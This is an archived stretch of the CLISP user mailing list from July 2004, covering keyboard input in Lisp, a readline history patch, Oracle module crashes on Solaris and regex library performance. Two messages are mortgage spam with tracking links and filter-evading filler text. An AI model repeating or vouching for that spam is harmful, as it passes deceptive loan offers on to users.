help me out with how this should be coded or maybe some documentation to read? (I've been using http://clisp.cons.org/impnotes/terminal.html and http://clisp.cons.org/impnotes/screen.html for reference) Thanks, -- Jeff From sds@gnu.org Mon Jul 12 15:08:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bk8yZ-0004Mh-Mw for clisp-list@lists.sourceforge.net; Mon, 12 Jul 2004 15:08:43 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bk8yZ-0001MT-7e for clisp-list@lists.sourceforge.net; Mon, 12 Jul 2004 15:08:43 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6CM8SUB023255; Mon, 12 Jul 2004 18:08:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (wolfjb@bigfoot.com's message of "Mon, 12 Jul 2004 16:32:31 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: ext:with-keyboard question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 12 15:09:17 2004 X-Original-Date: Mon, 12 Jul 2004 18:08:28 -0400 > * [2004-07-12 16:32:31 -0500]: > > (ext:with-keyboard . > (cond ((string= "q" (read ext:*keyboard-input*)) > (return)) > ((string= "Q" (read ext:*keyboard-input*)) > (return))))) try (ext:with-keyboard (cond ((string= "q" (read ext:*keyboard-input*)) (return)) ((string= "Q" (read ext:*keyboard-input*)) (return)))) -- Sam Steingold (http://www.podval.org/~sds) running w2k Profanity is the one language all programmers know best. From elvin_peterson@yahoo.com Mon Jul 12 18:10:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkBou-0005IP-7Z for clisp-list@lists.sourceforge.net; Mon, 12 Jul 2004 18:10:56 -0700 Received: from web52208.mail.yahoo.com ([206.190.39.90]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BkBot-00006q-QY for clisp-list@lists.sourceforge.net; Mon, 12 Jul 2004 18:10:56 -0700 Message-ID: <20040713011048.71881.qmail@web52208.mail.yahoo.com> Received: from [202.83.41.252] by web52208.mail.yahoo.com via HTTP; Mon, 12 Jul 2004 18:10:48 PDT From: Elvin Peterson To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp command history Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 12 18:11:17 2004 X-Original-Date: Mon, 12 Jul 2004 18:10:48 -0700 (PDT) --- Sam Steingold wrote: > > * Elvin Peterson > [2004-07-11 09:42:12 -0700]: > > > > Adding the history calls looks like a > straightforward job, but I can't > > figure out the file it is defined in > and appropriate calls to read_history() to > stream.d:init_streamvars() 14441c14441,14442 < # rl_readline_name = "CLisp"; --- > rl_readline_name = "CLisp"; > read_history(NULL); > and to write_history() to spvw.d:quit(). 25a26,30 > #ifdef GNU_READLINE > #include > #include > #endif > 3090a3096,3098 > #ifdef GNU_READLINE > write_history(NULL); > #endif __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From gdodsonqy@linkbrokers.co.uk Tue Jul 13 03:18:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkKMp-0007nv-Sl; Tue, 13 Jul 2004 03:18:31 -0700 Received: from [211.211.101.135] (helo=man-sa.co.za) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BkKMp-0004o4-8R; Tue, 13 Jul 2004 03:18:31 -0700 Received: from 238.123.108.22 by smtp.linkbrokers.co.uk; Tue, 13 Jul 2004 10:28:01 +0000 Message-ID: From: "Gustavo Dodson" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $33258 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 13 03:19:40 2004 X-Original-Date: Tue, 13 Jul 2004 15:28:01 +0500 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.lending-now.com/h7/li.php?bks=71 Best Regards, Gustavo No more: http://www.lending-now.com/r1/index.html ---- system information ---- situations provides any XML description Status applications revised mailing any transport but display Traditional updated documents procedure months default such between has These Different From sds@gnu.org Tue Jul 13 05:33:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkMT2-0002iO-Jx for clisp-list@lists.sourceforge.net; Tue, 13 Jul 2004 05:33:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BkMT2-0002g5-5W for clisp-list@lists.sourceforge.net; Tue, 13 Jul 2004 05:33:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6DCWtZJ003954; Tue, 13 Jul 2004 08:32:55 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040713011048.71881.qmail@web52208.mail.yahoo.com> (Elvin Peterson's message of "Mon, 12 Jul 2004 18:10:48 -0700 (PDT)") References: <20040713011048.71881.qmail@web52208.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp command history Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 13 05:34:04 2004 X-Original-Date: Tue, 13 Jul 2004 08:32:55 -0400 > * Elvin Peterson [2004-07-12 18:10:48 -0700]: > > --- Sam Steingold wrote: >> > * Elvin Peterson >> [2004-07-11 09:42:12 -0700]: >> > >> > Adding the history calls looks like a >> straightforward job, but I can't >> > figure out the file it is defined in >> and appropriate calls to read_history() to >> stream.d:init_streamvars() > > 14441c14441,14442 > < # rl_readline_name = "CLisp"; > --- >> rl_readline_name = "CLisp"; >> read_history(NULL); > >> and to write_history() to spvw.d:quit(). > > 25a26,30 >> #ifdef GNU_READLINE >> #include >> #include >> #endif >> > 3090a3096,3098 >> #ifdef GNU_READLINE >> write_history(NULL); >> #endif 1. all diffs should be "-u" (unified context) 2. the above does not allow the user to disable history saving and to specify the file where the history is to be saved. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't ascribe to malice what can be adequately explained by stupidity. From hin@van-halen.alma.com Tue Jul 13 13:50:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkUEC-0004L3-6F for clisp-list@lists.sourceforge.net; Tue, 13 Jul 2004 13:50:16 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BkUEB-0007wi-R6 for clisp-list@lists.sourceforge.net; Tue, 13 Jul 2004 13:50:16 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 4EFE410DEFD; Tue, 13 Jul 2004 16:50:11 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i6DKnsCv006781; Tue, 13 Jul 2004 16:49:54 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i6DKnrUq006778; Tue, 13 Jul 2004 16:49:53 -0400 Message-Id: <200407132049.i6DKnrUq006778@van-halen.alma.com> From: "John K. Hinsdale" To: Carlos.Ungil@cern.ch Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Carlos Ungil on Wed, 7 Jul 2004 15:37:22 +0200 (CEST)) Subject: Re: [clisp-list] does the oracle module work in Solaris? X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 13 13:51:02 2004 X-Original-Date: Tue, 13 Jul 2004 16:49:53 -0400 > I'm using the 8.1.7 libraries, and the database is > "Oracle8i Enterprise Edition Release 8.1.7.4.0" > > The machine where clisp is compiled (the database is elsewhere) is > "SunOS 5.8 Generic_108528-22 sun4u sparc SUNW,Ultra-4" Carlos, I've done some bug fixes for Oracle module that may or may not help you get the error message that will tell you what it wrong w/ your CLISP oracle client under Solaris. They'r checked into CVS so if you are using a CVS working copy, just "cvs update" it, else you can retrieve a snapshot of just the oracle module at http://clisp.alma.com/clisp-oracle-2004-07-13.tar.gz and unpack it into your source directory (it will expand as modules/oracle/*) and recompile CLISP. The bug fixes concern errors that occur while setting up the Oracle runtime environment, but as I recall your crash came after that, so there may be some other problem. I'm still trying to get to that point w/ my copy CLISP under Solaris. Will keep you posted. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From jeff@public.nontrivial.org Tue Jul 13 14:22:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkUiw-0002Ig-La for clisp-list@lists.sourceforge.net; Tue, 13 Jul 2004 14:22:02 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BkUiw-0004vb-8N for clisp-list@lists.sourceforge.net; Tue, 13 Jul 2004 14:22:02 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Tue, 13 Jul 2004 16:14:25 -0500 References: In-Reply-To: From: wolfjb@bigfoot.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: ext:with-keyboard question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 13 14:23:02 2004 X-Original-Date: Tue, 13 Jul 2004 16:14:25 -0500 Sam Steingold writes: >> * [2004-07-12 16:32:31 -0500]: >> >> (ext:with-keyboard . >> (cond ((string= "q" (read ext:*keyboard-input*)) >> (return)) >> ((string= "Q" (read ext:*keyboard-input*)) >> (return))))) > > try > > (ext:with-keyboard > (cond ((string= "q" (read ext:*keyboard-input*)) > (return)) > ((string= "Q" (read ext:*keyboard-input*)) > (return)))) > > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Profanity is the one language all programmers know best. > > I have changed the code to this: (ext:with-keyboard (cond ((char= #\q (read-char ext:*keyboard-input*)) (return)) ((char= #\Q (read-char ext:*keyboard-input*)) (return)))) Which doesn't really work either since (read-char ext:*keyboard-input*) returns this: #S(SYSTEM::INPUT-CHARACTER :CHAR #\q :BITS 0 :FONT 0 :KEY NIL) which I don't know how to parse correctly. It looks like I should be able to query the response to get the :CHAR out, but I can't find anything in the documentation that tells me how to do that. There are methods to get the bits and the font, but not the char or the key as far as I can tell. Perhaps I'm not reading the part of the documentation? Can anyone direct me/teach me the right right thing to do here? Thanks for all the help! It is much appreciated. :) Jeff From sds@gnu.org Tue Jul 13 15:49:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkW5S-00023t-Lt for clisp-list@lists.sourceforge.net; Tue, 13 Jul 2004 15:49:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BkW5S-0007Ok-7d for clisp-list@lists.sourceforge.net; Tue, 13 Jul 2004 15:49:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6DMn700003394; Tue, 13 Jul 2004 18:49:07 -0400 (EDT) To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (wolfjb@bigfoot.com's message of "Tue, 13 Jul 2004 16:14:25 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com, Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: ext:with-keyboard question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 13 15:50:02 2004 X-Original-Date: Tue, 13 Jul 2004 18:49:07 -0400 > * [2004-07-13 16:14:25 -0500]: > > (ext:with-keyboard > (cond ((char= #\q (read-char ext:*keyboard-input*)) > (return)) > ((char= #\Q (read-char ext:*keyboard-input*)) > (return)))) > > Which doesn't really work either since (read-char ext:*keyboard-input*) > returns this: > > #S(SYSTEM::INPUT-CHARACTER :CHAR #\q :BITS 0 :FONT 0 :KEY NIL) > > which I don't know how to parse correctly. It looks like I should be > able to query the response to get the :CHAR out, but I can't find > anything in the documentation that tells me how to do that. There are > methods to get the bits and the font, but not the char or the key as > far as I can tell. Perhaps I'm not reading the part of the > documentation? SYS::INPUT-CHARACTER-CHAR will definitely get you #\q out of the SYSTEM::INPUT-CHARACTER struct. I am not sure why it (or something similat) is not exported. (I would think that #'CHARACTER would coerce a SYSTEM::INPUT-CHARACTER to a CHARACTER by taking the :CHAR slot). Same for the :KEY. Bruno? -- Sam Steingold (http://www.podval.org/~sds) running w2k Only the mediocre are always at their best. From gregorya.griffinda@ocegr.fr Tue Jul 13 17:46:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkXv3-0003Q4-G8; Tue, 13 Jul 2004 17:46:45 -0700 Received: from [211.176.220.73] (helo=int-evry.fr) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BkXv2-000482-Q6; Tue, 13 Jul 2004 17:46:45 -0700 Received: from 236.170.106.98 by smtp.ocegr.fr; Wed, 14 Jul 2004 00:43:36 +0000 Message-ID: <363901c4693b$f48a957e$e5d1f580@int-evry.fr> From: "Gregory A. Griffin" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 SUBJ_DOLLARS Subject starts with dollar amount 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 BAD_CREDIT BODY: Eliminate Bad Credit 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] $77168 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 13 17:47:23 2004 X-Original-Date: Tue, 13 Jul 2004 20:43:05 -0400 Hi, I sent you an email a few days ago, because you now qualify for a new mortgage. You could get $300,000 for as little as $700 a month! Bad credit is no problem, you can pull cash out or refinance. Please click on this link: http://www.web-lender.com/p3/li.php?weo=71 Best Regards, Gregory ---- system information ---- Australia variety wants latest its problem specific Chinese near include invoke An archive written [Web lesser send doesn't invoking process has class Services] accordance From Joerg-Cyril.Hoehle@t-systems.com Wed Jul 14 03:24:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bkgvm-0006sb-IV for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 03:24:06 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bkgvl-00041c-O8 for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 03:24:06 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 14 Jul 2004 12:23:57 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <3X79G5F1>; Wed, 14 Jul 2004 12:22:29 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03CA1B76@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: edi@agharta.de Subject: [clisp-list] Re: Regexps w/clisp MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 14 03:25:55 2004 X-Original-Date: Wed, 14 Jul 2004 12:22:29 +0200 Hi, Edi Weitz wrote: >IIRC this thread started with a discussion of problems of the current >approach (using a C library). These issues would be moot with a Lisp >library. And, as I said, it'd be good for Lisp marketing-wise if it >didn't have to rely on other programming languages to do the "real >work." I second that. People have been asking during years for Lisp libraries, not for FFI bindings. Look how people in cll these days enjoy Ltk instead of TK-bindings via some FFI. >the results above already show that PCRE is usually faster than >CL-PPCRE. My point was that a regex engine written in Lisp will be >fast enough in almost all cases you can imagine and it's portable >between different target platforms by definition. Using CL-PPCRE is good in portable code especially since IIRC CL-PPCRE exhibits good performance on Lisp implementations that compile to native code. Maybe you could make CL-PPCRE look better in comparison by taking advantage of the fact that the PCRE interface has to convert strings (to UTF8), while the Lisp-only CL-PPCRE does not. I.e. PCRE may become slower with longer inputs. The regexp module becomes abysmally slow when passing large strings via the FFI (which the pcre module avoids, because it's not FFI). BTW, I see in the code http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/modules/pcre/cpcre.c?rev=1.18&view=auto /* mark_fp_invalid() is not exported from clisp.h */ It should become exported. It's very practical for modules. Regards, Jorg Hohle From Carlos.Ungil@cern.ch Wed Jul 14 05:11:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BkibS-0007tg-5o for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 05:11:14 -0700 Received: from cernmx07.cern.ch ([137.138.166.171] helo=cernmxlb.cern.ch) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BkibR-00024w-LX for clisp-list@lists.sourceforge.net; Wed, 14 Jul 2004 05:11:14 -0700 Keywords: CERN SpamKiller Note: -50 Charset: west-latin X-Filter: CERNMX07 SMTPGW CERN Spam Sink v1.0 Received: from cernfe03.cern.ch ([137.138.28.244]) by cernmxlb.cern.ch with Microsoft SMTPSVC(6.0.3790.0); Wed, 14 Jul 2004 14:11:05 +0200 Received: from lxplus003.cern.ch ([137.138.4.244]) by cernfe03.cern.ch over TLS secured channel with Microsoft SMTPSVC(6.0.3790.0); Wed, 14 Jul 2004 14:11:04 +0200 From: Carlos Ungil X-X-Sender: ungil@lxplus003.cern.ch Reply-To: Carlos.Ungil@cern.ch To: "John K. Hinsdale" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] does the oracle module work in Solaris? In-Reply-To: <200407132049.i6DKnrUq006778@van-halen.alma.com> Message-ID: References: <200407132049.i6DKnrUq006778@van-halen.alma.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-OriginalArrivalTime: 14 Jul 2004 12:11:04.0951 (UTC) FILETIME=[A30B9870:01C4699B] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 14 05:12:03 2004 X-Original-Date: Wed, 14 Jul 2004 14:11:04 +0200 (CEST) Hello John, On Tue, 13 Jul 2004, John K. Hinsdale wrote: > Carlos, I've done some bug fixes for Oracle module that may or may not > help you get the error message that will tell you what it wrong w/ > your CLISP oracle client under Solaris. Unfortunately my clisp crashes the same. I append at the end the stack trace in the core. It's the first time I analyse a core, so it's not very meaningful to me, but I hope it's useful. Carlos =>[1] strcat(0x1eb100, 0xffd3e208, 0x0, 0x0, 0xffd3e208, 0x217e7c), at 0xfe8cf21c [2] exec_sql(0x1e4288, 0xffbee208, 0xffbee22c, 0x0, 0xffbee2d0, 0xfe911a90), at 0x22478 [3] 